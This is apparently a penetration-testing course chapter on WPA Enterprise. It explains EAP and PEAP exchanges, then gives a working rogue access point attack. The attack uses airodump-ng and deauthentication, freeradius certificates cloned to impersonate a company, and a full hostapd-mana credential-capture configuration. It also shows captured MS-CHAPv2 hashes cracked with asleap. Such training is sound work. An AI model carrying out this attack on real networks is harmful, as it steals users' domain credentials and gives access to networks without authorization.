11. Attacking WPA Enterprise
As organizations grow, their security needs also change and evolve. A micro-business or a small business might choose a strong PSK and share it with employees, but for a larger organization, the risk increases quickly. If a laptop is stolen, the thief can now access the network. If an employee leaves, they might still have access to the network on personal devices or if they remember the passphrase. If an attacker manages to access to the passphrase, they can connect to the network. They can also passively listen, and with the exception of WPA3, decrypt everybody's communications. For these reasons, using WPA-based network access can become a management nightmare in larger organization.
In addition to all of this, WPA3 is not always a viable option. Setup can be an extremely complex endeavor for network administrators, especially considering how much they will need to learn about Public Key Infrastructure (PKI) to get things up and running.
WPA Enterprise is a much better solution. Since it enables user authentication against a central database, it makes protecting access to the wireless network a much more manageable endeavor. It also removes the danger of attackers snooping on the network as they could in PSK. If one device gets compromised, or an employee leaves, only one account needs to be revoked (or one password changed) instead of revisiting every device on the network. Various authentication schemes can be used as well, and the security can be very strong.
Although WPA Enterprise networks seem impenetrable, small mistakes can compromise the whole network. In this module, we will learn the architecture of WPA enterprise networks and how to attack different authentication schemes.
Although the 4-way handshake happens on these networks as well, attacking WPA Enterprise is completely different from attacking preshared keys, and we will need a different set of tools.
11.1. Basics
WPA Enterprise uses Extensible Authentication Protocol (EAP). EAP is a framework for authentication, which allows a number of different authentication schemes or methods.
Figure 1: WPA Basics
Authentication is done using a Remote Authentication Dial-In User Service (RADIUS) server. The client authenticates using a number of EAP frames, depending on the agreed upon authentication scheme, which are relayed by the AP to the RADIUS server. If authentication is successful, the result is then used as Pairwise Master Key (PMK) for the 4-way handshake, as opposed to PSK, where the passphrase is derived to generate the PMK.
Authentication to a RADIUS server with most common EAP methods, requires the use of certificates on the server side at the very least. Some older, now deprecated EAP methods don't require certificates. Although a number of authentication schemes are possible, just some of them are commonly used, due to their security, and integration with existing OS. It is common to use a username and password to authenticate, which could be tied to domain credentials.
We'll go over a few EAPs commonly used on Wi-Fi networks.
EAP Transport Layer Security (EAP-TLS) is one of the most secure authentication methods, as it uses certificates on the server side and client side, instead of login and passwords, so the client and server mutually authenticate each other.
EAP Tunneled Transport Layer Security (EAP-TTLS), as the name suggests, also uses TLS. As opposed to EAP-TLS, it does not necessarily need client certificates. It creates a tunnel and then exchanges the credentials using one of the few possible different inner methods (also called phase 2), such as Challenge-Handshake Authentication Protocol (CHAP), Authentication Protocol (PAP), Microsoft CHAP (MS-CHAP), or MS-CHAPv2.
Similarly to EAP-TTLS, Protected Extensible Authentication Protocol (PEAP) also creates a TLS tunnel before credentials are exchanged. Although different methods can be used within PEAP, MS-CHAPv2 is a commonly used inner method.
PEAP and EAP-TLS mostly differ on how the data is exchanged inside the TLS tunnel.
11.1.1. PEAP Exchange
This section includes a reference file, airport-wifi-01_28_30.cap, in the Resources section.
To illustrate the authentication in WPA Enterprise, we will look at a packet capture of a client using PEAP connecting to a network called "Playtronics". This is the perspective from a 3rd party observing the exchange on the wireless network.
The first frame is a beacon, and we can see it offers WPA1 and WPA2. It supports CCMP and TKIP as we can see in the Pairwise Cipher Suite and Unicast Cipher Suite. In the Auth Key Management, we can see it supports WPA, which means WPA Enterprise.
Figure 2: Beacon
We will skip over the next few frames, the probe request and response and both authentication frames, since they don't contain anything meaningful for us.
In the association frame, we can see it will be authenticating with WPA2 CCMP. It also indicates WPA Enterprise for Auth Key Management.
Figure 3: Association
The association response is uneventful.
If this was PSK, this would be when the 4-way handshake happens. In this case however, since the client mentioned WPA Enterprise in the association request, a different authentication happens. It spans over 19 EAP frames, going back and forth between the AP and client, where the AP sends EAP Requests, and the client EAP Responses.
Figure 4: EAP Frames
The first EAP frame is sent by the AP, requesting the identity of the client or supplicant. This marks the start of the EAP type proposal and outer authentication. The latter is also known as phase 1 of the authentication.
Figure 5: EAP Phase 1
The following EAP frame, from the client, indicates the identity is Playtronics\cosmo. The first part is the domain, Playtronics, and is followed by a separator then the username, cosmo.
Figure 6: EAP from client
Depending on the EAP method used, this may be what the client device refers to as anonymous identity when setting up the connection.
It's worth noting that we don't know what EAP method is used yet. If the field is left empty, the device will use the identity provided. This is the case for PEAP or EAP-TTLS, for example. With these methods, a TLS tunnel is created first, and the real authentication is done within the tunnel. While the RADIUS server may use this value to determine where to send the authentication or what methods to use within the tunnel, it can be filled with anonymous or another value, concealing the actual identity.
It's important to note that even if it's not immediately useful to us now, gathering usernames may be a useful action as part of a broader pentest.
In the following EAP frame, the AP offers the client to connect with PEAP. We are only now choosing the EAP method to use to protect the authentication, after an identity has been provided.
Figure 7: EAP-PEAP
If the client refused, it would send a Legacy Nak along with the desired method. If this is acceptable for the RADIUS server, it will proceed, and send another request with the desired method.
The client sends Client Hello in the next frame, which means it accepted PEAP. It is now starting the TLS (1.2) tunnel set-up, as we can see by the Version field. Although the EAP type proposal is done, we're still in phase 1.
Figure 8: EAP-TLS
The next frame is the Server Hello in frame 14, along with the certificate and the Diffie-Hellman key exchange (Server Key Exchange). Because the content is too large to fit in a single frame, it is split in two frames. Part of it is sent in frame 12, and the rest is sent in frame 14, where Wireshark has reassembled both frames. Since EAP is a Request/Response protocol, the client has to acknowledge each frame, which is done with frame 13, an empty response.
Figure 9: EAP-TLS Fragment
Following these two frames coming from the AP, the client now sends its Diffie-Hellman response (Client Key Exchange) and switches to the symmetric keys (Change Cipher Spec) they negotiated.
Figure 10: EAP-TLS DH Response
It's now the server's turn to switch to the symmetric keys.
Figure 11: EAP-TLS Symmetric Keys
The client acknowledges it in frame 17, which now concludes the successful TLS tunnel set-up, as well as phase 1 or the outer authentication.
The next frame, 18, starts the inner authentication, also known as phase 2. It spans over a number of frames, where the authentication is done. It finishes with frame 26, indicating a successful authentication.
Figure 12: EAP Success
Although we can't see the algorithm chosen in the inner authentication due to the encryption, the client was set-up to use MS-CHAPv2. This is the most common type of inner authentication inside of PEAP, in part because the combination is well supported by recent OSs.
Inside this TLS tunnel, we note a familiar sequence with the EAP request/response identity, and the MS-CHAPv2 challenge wrapped in EAP frames.
The reason it's done this way is because MS-CHAPv2 is no longer a safe way to authenticate on wireless networks without any protection since it was broken a number of years ago. It's wrapped in a TLS session for protection, which we know is secure because of the Diffie-Hellman key exchange.
After this EAP Success, keying material has been distributed, and the client and AP can now do the 4-way handshake.
Figure 13: EAPOL
11.2. Attack
Let's take a moment to summarize our attack. We will be creating a rogue AP to match the settings of our target as closely as possible. We will use hostapd-mana to create the rogue AP and match the target settings. This will help us capture the credentials, which we will crack later.
We will also need freeradius, which is an open source RADIUS server. We won't need it for its RADIUS capabilities, but it contains scripts that will help us generate the certificate for hostapd-mana.
We will exploit either the misconfiguration of the security settings in client devices, the lack of proper certificate set-up on the RADIUS server, or both.
After putting our wlan0 interface in monitor mode, we now have an interface called wlan0mon. We will identify the channel of the target AP and gather its ESSID and BSSID.
kali@kali:~$ sudo airodump-ng wlan0mon
...
CH 2 ][ Elapsed: 30 s ][ 1992-09-11 13:37 ][
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
FC:EC:DA:8F:2E:90 -40 639 19 1 2 300. WPA2 CCMP MGT Playtronics
00:AB:E7:ED:E9:69 -84 104 0 0 11 54e. WPA2 CCMP PSK whistler
00:C7:0F:78:6D:2E -84 104 0 0 7 54e. WPA2 CCMP PSK mother
04:53:45:60:34:52 -84 104 0 0 5 54e. WPA2 CCMP PSK arbogast
BSSID STATION PWR Rate Lost Packets Probes
04:53:45:60:34:52 0D:09:6C:60:43:54 -69 0 - 1 0 35 FederalReserve, ATC, CoolidgeInstitute, CenturionBank
FC:EC:DA:8F:2E:90 00:DC:FE:82:EF:06 -26 54 -54 0 31 Playtronics
Listing 1 - Airodump-ng command and output
Our target is the Playtronics AP which operates on channel 2. Its BSSID is FC:EC:DA:8F:2E:90, and it has one client with a MAC address of 00:DC:FE:82:EF:06. The AUTH column shows the AP has an authentication type of MGT, meaning WPA Enterprise.
While it usually is not necessary, we will create a certificate similar to the one from the RADIUS server that the AP serves to its clients.
If we skip creating new certificates and reuse ones we had before instead, we should still verify they are valid, and regenerate them if they aren't. The default validity of the certificates is 60 days from the time they were generated.
We can check the validity by using openssl x509 -in CERT_FILENAME -noout -enddate where CERT_FILENAME is the .pem or .crt file. This command will display the expiration date of the certificate.
Let's return to our attack. Next, we will restart the capture on the same channel as the AP. This is similar to what we did when cracking WPA-PSK. We'll save the data to disk as Playtronics-01.cap. To get the certificate, we can deauthenticate a client. We'll do this the same way we would with a WPA-PSK client, using aireplay-ng.
When the client reconnects, it will redo the authentication. Once airodump-ng indicates we've captured a handshake, we can stop the capture. In most instances, a certificate is present. We will get the certificate from the enterprise authentication that happened before the handshake.
We can now disable monitor mode by running sudo airmon-ng stop wlan0mon.
We have to open the capture file with Wireshark and locate the server certificate frame. First, we can use the BSSID as a display filter to narrow down the AP. Appending eap to the display filter will also show the full authentications. To quickly narrow down on the certificate in the TLS handshake, we can append tls.handshake.type == 11, or tls.handshake.certificate, which will show the exact frames where the certificate is given.
Figure 14: Record Layer
From there, in the Packet Details pane, we now open Extensible Authentication Protocol > Transport Layer Security. We now have to open the TLSv1 Record Layer: Handshake Protocol: Certificate (or similar, as the TLS version will vary). Once there, we will have to expand Handshake Protocol: Certificate item, then Certificates (plural). Inside Certificates, we can see one or more entries named Certificate. Each of them will be preceded by the length. For each certificate, we right click and select Export Packet Bytes to save the data into a file with a .der extension.
Figure 15: Certificates
These certificates, which are in binary form, can either be opened in the file manager, or we can display information about them using OpenSSL using openssl x509 -inform der -in CERTIFICATE_FILENAME -text where CERTIFICATE_FILENAME is the path to the certificate.
While this step isn't necessary, we can convert it to PEM format using openssl x509 -inform der -in CERTIFICATE_FILENAME -outform pem -out OUTPUT_PEM.crt. PEM format is basically a base64 version of the .der certificate, limited to 64 columns, with a header and a trailer to indicate it is a certificate.
Before we dive into the configuration files, we need to learn a little bit about Public Key Infrastructure (PKI). PKI is a vast and complex subject, but we'll focus our attention on the parts of it that are useful for us. As such, the Certificate Authority (CA) is an entity which issues digital certificates. While a CA can issue server and client certificates, we will skip the client ones as they are used to authenticate clients to a server.
To understand the relationship between two configuration files, CA and server, we can draw a parallel to HTTPS. Certificate authorities, such as Let's Encrypt, issue certificates to servers so that servers can provide encrypted communications to their clients. Web browsers verify websites' certificate validity using various criteria, and one of them is being issued by a trusted certificate authority. If it is not, we are warned by the browser. Verifying a server certificate has been issued by a CA is easy. However, it is important to note that the CA certificate is most often self-signed. What makes it trusted is it is in the trusted root CA certificate store of our system.
Warning
Whenever prompted to add a certificate in the trusted root certificate store, the request should be carefully examined, as it can have serious consequences on the security of the system.
In WPA Enterprise, the RADIUS server is in the same boat as a regular web server. It is a "server" as well, and it needs a certificate issued by a CA. This is why we will have to modify the CA file and the server file later.
The RADIUS has to provide its certificate through the AP to potential clients. It will need to provide the public CA certificate as well, because the CA isn't in the user trusted root certificate store.
We will now install freeradius, an open source RADIUS server. We'll use its scripts to generate certificates that look similar to the ones we received.
Listing 2 - Installing freeradius
As a root user, we'll need to navigate to /etc/freeradius/3.0/certs and change the settings of ca.cnf. We edit the certificate_authority fields to match our target CA certificate to appear less suspicious to clients in case they inspect the certificate.
kali@kali:~$ sudo -s
root@kali:/home/kali# cd /etc/freeradius/3.0/certs
root@kali:/etc/freeradius/3.0/certs# nano ca.cnf
...
[certificate_authority]
countryName = US
stateOrProvinceName = CA
localityName = San Francisco
organizationName = Playtronics
emailAddress = ca@playtronics.com
commonName = "Playtronics Certificate Authority"
...
Listing 3 - certificate_authority section in ca.cnf
The server information needs to be updated in server.cnf. This should be similar to what we did with the CA. We will edit the [server] fields to match our target server certificate. We'll skip client.cnf because we don't need it.
root@kali:/etc/freeradius/3.0/certs# nano server.cnf
...
[server]
countryName = US
stateOrProvinceName = CA
localityName = San Francisco
organizationName = Playtronics
emailAddress = admin@playtronics.com
commonName = "Playtronics"
...
Listing 4 - server section in server.cnf
Next, we'll build the certificates. First, we need to regenerate dh, the Diffie-Hellman (DH) parameters, with a 2048 bit key. When freeradius was installed, a 1024 bit key size was used for the DH parameters, but if we use this DH file, hostapd-mana will throw an error and abort startup because it is too small. We'll avoid this by deleting the DH file before running make.
root@kali:/etc/freeradius/3.0/certs# rm dh
root@kali:/etc/freeradius/3.0/certs# make
openssl dhparam -out dh -2 2048
Generating DH parameters, 2048 bit long safe prime, generator 2
This is going to take a long time
...............+.....................................................................................+.......+......................................
....................................................................+..............................................................................++*++*++*++*
openssl req -new -out server.csr -keyout server.key -config ./server.cnf
Generating a RSA private key
.......+++++
......................................................+++++
writing new private key to 'server.key'
-----
chmod g+r server.key
openssl req -new -x509 -keyout ca.key -out ca.pem \
-days '60' -config ./ca.cnf \
-passin pass:'whatever' -passout pass:'whatever'
Generating a RSA private key
............................+++++
........+++++
writing new private key to 'ca.key'
-----
chmod g+r ca.key
openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr -key 'whatever' -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf
Using configuration from ./server.cnf
Check that the request matches the signature
Signature ok
Certificate Details:
Serial Number: 1 (0x1)
Validity
Not Before: Jul 15 23:54:46 1992 GMT
Not After : Sep 13 23:54:46 1992 GMT
Subject:
countryName = US
stateOrProvinceName = CA
organizationName = Playtronics
commonName = Playtronics
emailAddress = admin@playtronics.com
X509v3 extensions:
X509v3 Extended Key Usage:
TLS Web Server Authentication
X509v3 CRL Distribution Points:
Full Name:
URI:http://www.example.com/example_ca.crl
X509v3 Certificate Policies:
Policy: 1.3.6.1.4.1.40808.1.3.2
Certificate is to be certified until Sep 13 23:54:46 1992 GMT (60 days)
Write out database with 1 new entries
Data Base Updated
openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12 -passin pass:'whatever' -passout pass:'whatever'
chmod g+r server.p12
openssl pkcs12 -in server.p12 -out server.pem -passin pass:'whatever' -passout pass:'whatever'
chmod g+r server.pem
server.pem: OK
openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der
openssl ca -gencrl -keyfile ca.key -cert ca.pem -config ./ca.cnf -out ca-crl.pem -key 'whatever'
Using configuration from ./ca.cnf
openssl crl -in ca-crl.pem -outform der -out ca.crl
rm ca-crl.pem
openssl req -new -out client.csr -keyout client.key -config ./client.cnf
Generating a RSA private key
.....................................+++++
.+++++
writing new private key to 'client.key'
-----
chmod g+r client.key
openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr -key 'whatever' -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf
Using configuration from ./client.cnf
Check that the request matches the signature
Signature ok
The organizationName field is different between
CA certificate (Setec Astronomy) and the request (Example Inc.)
make: *** [Makefile:120: client.crt] Error 1
Listing 5 - Certificate generation
Although we get an error, the client side doesn't matter because we don't use any client certificates. We were able to successfully generate the Diffie-Hellman parameters, CA certificate, and the server certificate correctly.
If we run make but the certificates already exist, we will not be able to overwrite them. We have to run make destroycerts to clean up first.
Warning
Another option is to use a certificate from a CA present in most devices' root certificates with a similar sounding domain name as the company.
Now that we've generated the certificates, we have to install hostapd-mana, by running sudo apt install hostapd-mana. Afterward, we have to create the hostapd-mana configuration file, /etc/hostapd-mana/mana.conf:
# SSID of the AP
ssid=Playtronics
# Network interface to use and driver type
# We must ensure the interface lists 'AP' in 'Supported interface modes' when running 'iw phy PHYX info'
interface=wlan0
driver=nl80211
# Channel and mode
# Make sure the channel is allowed with 'iw phy PHYX info' ('Frequencies' field - there can be more than one)
channel=1
# Refer to https://w1.fi/cgit/hostap/plain/hostapd/hostapd.conf to set up 802.11n/ac/ax
hw_mode=g
# Setting up hostapd as an EAP server
ieee8021x=1
eap_server=1
# Key workaround for Win XP
eapol_key_index_workaround=0
# EAP user file we created earlier
eap_user_file=/etc/hostapd-mana/mana.eap_user
# Certificate paths created earlier
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
# The password is actually 'whatever'
private_key_passwd=whatever
dh_file=/etc/freeradius/3.0/certs/dh
# Open authentication
auth_algs=1
# WPA/WPA2
wpa=3
# WPA Enterprise
wpa_key_mgmt=WPA-EAP
# Allow CCMP and TKIP
# Note: iOS warns when network has TKIP (or WEP)
wpa_pairwise=CCMP TKIP
# Enable Mana WPE
mana_wpe=1
# Store credentials in that file
mana_credout=/tmp/hostapd.credout
# Send EAP success, so the client thinks it's connected
mana_eapsuccess=1
# EAP TLS MitM
mana_eaptls=1
Listing 6 - HostAPd configuration file, mana.conf
In this configuration, we will be using the same SSID as our target, Playtronics.
We'll now need to create the EAP user file referenced in the configuration file, /etc/hostapd-mana/mana.eap_user. The file should contain the following.
* PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 "pass" [2]
Listing 7 - HostAPd eap_user file, mana.eap_user
This format of the hostapd.eap_user file is as follows.
- The first column indicates a specific user by username or, in the event of wildcard character (*), any user. It can contain a domain name as well.
- The second column contains the protocols allowed for the specific users and authentication phase.
- The third one is optional and is used for the password when a specific user is mentioned.
- The fourth one, indicated here with [2], indicates that the settings on this line are for phase 2 authentication.
There are additional flags, but we won't cover them here as they aren't necessary for this attack.
The file format described here allows for a variety of configurations. Although a system administrator could limit certain protocols, we've enabled as many combinations as possible, in order to increase our chances at capturing hashed credentials, even from users with limited choices.
On the first line we can see a few protocols which are to be accepted by the RADIUS server in hostapd-mana for any user. On the second line, we are working with protocols for phase 2 authentication (or inner authentication) as denoted by the [2] at the end of the line. In this instance, the "t" is for the username, which is a hardcoded value in hostapd-mana, followed by the protocols, and the second string, "pass", is its password.
We're ready to continue. Next, we'll start hostapd-mana with the configuration file we created earlier, /etc/hostapd-mana/mana.conf.
kali@kali:~$ sudo hostapd-mana /etc/hostapd-mana/mana.conf
Configuration file: mana.conf
MANA: Captured credentials will be written to file '/tmp/hostapd.credout'.
Using interface wlan0 with hwaddr 16:93:8a:98:ec:4f and ssid "Playtronics"
wlan0: interface state UNINITIALIZED->ENABLED
wlan0: AP-ENABLED
Listing 8 - HostAPd initiated
Depending on the operating system from which a user logs in, they may be prompted to verify our Playtronics certificate.
Figure 16: Certificate verification prompt on macOS
Clicking on Show Certificate will display basic certificate information, with the CA and the certificate itself.
Figure 17: Certificate details
The arrows in the bottom section allow to expand the information and look at the details:
Figure 18: Expanding details in the certificate
When a victim attempts to authenticate to our AP, the login attempt is captured.
...
wlan0: STA 00:2b:bb:b0:42:9e IEEE 802.11: authenticated
wlan0: STA 00:2b:bb:b0:42:9e IEEE 802.11: associated (aid 1)
wlan0: CTRL-EVENT-EAP-STARTED 00:2b:bb:b0:42:9e
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: cosmo
wlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: cosmo
MANA EAP EAP-MSCHAPV2 ASLEAP user=cosmo | asleap -C ce:b6:98:85:c6:56:59:0c -R 72:79:f6:5a:a4:98:70:f4:58:22:c8:9d:cb:dd:73:c1:b8:9d:37:78:44:ca:ea:d4
MANA EAP EAP-MSCHAPV2 JTR | cosmo:$NETNTLM$ceb69885c656590c$7279f65aa49870f45822c89dcbdd73c1b89d377844caead4:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | cosmo::::7279f65aa49870f45822c89dcbdd73c1b89d377844caead4:ceb69885c656590c
...
Listing 9 - HostAPd output with user 'cosmo' authenticating
method=25 tells us that the chosen authentication is PEAP, and the line below that one includes the username cosmo. These credentials are also in /tmp/hostapd.credout.
When starting hostapd, we will append -B to run it in the background. The first few lines of hostapd will be displayed before it goes into the background, where it will continue to run until it successfully at creates the AP.
We will be using asleap to crack the password hash. We can copy/paste the output, starting with asleap, and append the wordlist /usr/share/john/password.lst to the -W parameter
kali@kali:~$ asleap -C ce:b6:98:85:c6:56:59:0c -R 72:79:f6:5a:a4:98:70:f4:58:22:c8:9d:cb:dd:73:c1:b8:9d:37:78:44:ca:ea:d4 -W /usr/share/john/password.lst
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
Using wordlist mode with "/usr/share/john/password.lst".
hash bytes: 586c
NT hash: 8846f7eaee8fb117ad06bdd830b7586c
password: password
Listing 10 - Running asleap on hostAPd credentials
We recovered the password, password. Even if these credentials are not immediately useful to us, we'll make a note of them as they may be of use later in the pentest.
In a live scenario, it is likely the device will keep connecting and hostapd will keep showing challenge/responses.
There are a number of attack escalation opportunities at this point.
A tool called crackapd can automatically run asleap when it sees credentials in the log file. If crackapd successfully recovers credentials, crackapd adds the user to hostapd eap_user file. This allows the user to successfully connect to our rogue AP.
We could also provide Internet access by adding a DHCP server and a few nftables rules to enable routing, though we won't describe that approach in detail here.
We could push the attack further and authenticate ourselves to the real AP. This, along with some different nftables rules, would provide the user access to the actual company network.
If clients don't connect to our rogue AP, we can use another wireless card and look for the clients connected to the legitimate APs with airodump-ng. We would then use aireplay-ng and keep deauthenticating them. They may eventually connect to our AP, except in cases when the configuration has been locked down or if the network uses 802.11w.
Exercise
Create a WPA Enterprise AP with a certificate with the name of your choice. Connect a client using different algorithms. Experiment using different devices, such as a smartphone, a tablet, or a computer, to see the different options they offer in terms of EAP methods, and how hostapd reacts.
For each of them, if you have a separate wireless card, do a packet capture to see how they differ in the EAP authentication since support for EAP types depend on the OS.
11.3. Wrapping Up
In this module, we went over the basics about WPA Enterprise networks, and discussed a few different EAP types used in Wi-Fi networks. We also reviewed a PEAP exchange. Finally, we learned how to gather the necessary information to create self-signed certificates and set-up hostapd-mana to attack WPA Enterprise networks.